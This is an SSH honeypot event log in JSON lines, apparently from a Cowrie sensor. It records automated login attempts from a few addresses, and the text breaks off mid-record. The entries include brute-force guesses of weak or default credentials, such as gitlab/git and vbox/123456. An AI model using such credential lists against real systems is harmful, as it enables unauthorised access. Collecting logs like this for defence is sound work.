{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:40.557865Z","src_ip":"91.92.40.171","session":"bb69c6215c54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:40.998477Z","src_ip":"91.92.40.171","session":"bb69c6215c54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37784,"dst_ip":"159.203.135.109","dst_port":22,"session":"aefcd95d24c5","protocol":"ssh","message":"New connection: 91.92.42.133:37784 (159.203.135.109:22) [session: aefcd95d24c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:42.881792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:43.527752Z","src_ip":"91.92.42.133","session":"aefcd95d24c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:43.532475Z","src_ip":"91.92.42.133","session":"aefcd95d24c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"git","message":"login attempt [gitlab/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:43.747193Z","src_ip":"91.92.40.171","session":"bb69c6215c54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":39088,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a0bf65bf100","protocol":"ssh","message":"New connection: 91.92.40.171:39088 (159.203.135.109:22) [session: 2a0bf65bf100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:44.778915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:44.783117Z","src_ip":"91.92.40.171","session":"2a0bf65bf100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:44.887779Z","src_ip":"91.92.40.171","session":"2a0bf65bf100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.628947257995605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:45.132838Z","src_ip":"43.213.181.192","session":"c3a1facc75d2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:45.195009Z","src_ip":"91.92.40.171","session":"2a0bf65bf100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:45.779966Z","src_ip":"91.92.40.171","session":"bb69c6215c54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo","message":"login attempt [odoo14/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:46.108429Z","src_ip":"91.92.42.133","session":"aefcd95d24c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:46.304611Z","src_ip":"91.92.40.171","session":"2a0bf65bf100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:47.829178Z","src_ip":"91.92.42.133","session":"aefcd95d24c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47054,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cc270e94636","protocol":"ssh","message":"New connection: 91.92.42.133:47054 (159.203.135.109:22) [session: 3cc270e94636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:49.282608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:50.049017Z","src_ip":"91.92.42.133","session":"3cc270e94636","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:50.053635Z","src_ip":"91.92.42.133","session":"3cc270e94636","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":39106,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ff1e839a976","protocol":"ssh","message":"New connection: 91.92.40.171:39106 (159.203.135.109:22) [session: 3ff1e839a976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:50.338308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:50.357832Z","src_ip":"91.92.40.171","session":"3ff1e839a976","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:50.421165Z","src_ip":"91.92.40.171","session":"3ff1e839a976","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123321","message":"login attempt [testuser/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:50.745917Z","src_ip":"91.92.40.171","session":"3ff1e839a976","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:51.828993Z","src_ip":"91.92.40.171","session":"3ff1e839a976","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:53.812052Z","src_ip":"91.92.42.133","session":"3cc270e94636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:55.523758Z","src_ip":"91.92.42.133","session":"3cc270e94636","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50100,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7b2c3431ea0","protocol":"ssh","message":"New connection: 91.92.42.133:50100 (159.203.135.109:22) [session: f7b2c3431ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:55.886743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:56.623103Z","src_ip":"91.92.42.133","session":"f7b2c3431ea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:56.626206Z","src_ip":"91.92.42.133","session":"f7b2c3431ea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35298,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce2f4b1925f7","protocol":"ssh","message":"New connection: 91.92.40.171:35298 (159.203.135.109:22) [session: ce2f4b1925f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:57.444190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:57.448643Z","src_ip":"91.92.40.171","session":"ce2f4b1925f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:58.328522Z","src_ip":"91.92.40.171","session":"ce2f4b1925f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:00.663807Z","src_ip":"91.92.40.171","session":"ce2f4b1925f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"123","message":"login attempt [odoo18/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:00.738952Z","src_ip":"91.92.42.133","session":"f7b2c3431ea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35334,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee650423f514","protocol":"ssh","message":"New connection: 91.92.40.171:35334 (159.203.135.109:22) [session: ee650423f514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:01.093832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:01.115947Z","src_ip":"91.92.40.171","session":"ee650423f514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:01.240966Z","src_ip":"91.92.40.171","session":"ee650423f514","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator2026","message":"login attempt [operator/operator2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:01.763183Z","src_ip":"91.92.40.171","session":"ee650423f514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:02.308484Z","src_ip":"91.92.40.171","session":"ce2f4b1925f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50150,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e79adfca45e","protocol":"ssh","message":"New connection: 91.92.42.133:50150 (159.203.135.109:22) [session: 2e79adfca45e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:02.350953Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:02.873354Z","src_ip":"91.92.40.171","session":"ee650423f514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:03.207104Z","src_ip":"91.92.42.133","session":"f7b2c3431ea0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:03.741201Z","src_ip":"91.92.42.133","session":"2e79adfca45e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-c